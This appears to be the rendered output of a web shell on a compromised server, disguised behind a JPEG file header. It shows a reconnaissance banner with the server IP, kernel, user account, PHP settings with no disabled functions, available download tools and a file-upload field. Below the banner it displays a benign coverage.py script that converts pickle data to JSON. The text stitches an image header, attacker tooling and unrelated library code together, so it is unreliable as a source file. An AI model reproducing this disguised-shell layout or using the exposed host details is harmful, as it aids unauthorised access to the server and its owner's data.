ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/opt/alt/python37/lib64/python3.7/site-packages/coverage/ |
Upload File : |
# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0
# For details: https://bitbucket.org/ned/coveragepy/src/default/NOTICE.txt
"""Convert pickle to JSON for coverage.py."""
from coverage.backward import pickle
from coverage.data import CoverageData
def pickle_read_raw_data(cls_unused, file_obj):
"""Replacement for CoverageData._read_raw_data."""
return pickle.load(file_obj)
def pickle2json(infile, outfile):
"""Convert a coverage.py 3.x pickle data file to a 4.x JSON data file."""
try:
old_read_raw_data = CoverageData._read_raw_data
CoverageData._read_raw_data = pickle_read_raw_data
covdata = CoverageData()
with open(infile, 'rb') as inf:
covdata.read_fileobj(inf)
covdata.write_file(outfile)
finally:
CoverageData._read_raw_data = old_read_raw_data
if __name__ == "__main__":
from optparse import OptionParser
parser = OptionParser(usage="usage: %s [options]" % __file__)
parser.description = "Convert .coverage files from pickle to JSON format"
parser.add_option(
"-i", "--input-file", action="store", default=".coverage",
help="Name of input file. Default .coverage",
)
parser.add_option(
"-o", "--output-file", action="store", default=".coverage",
help="Name of output file. Default .coverage",
)
(options, args) = parser.parse_args()
pickle2json(options.input_file, options.output_file)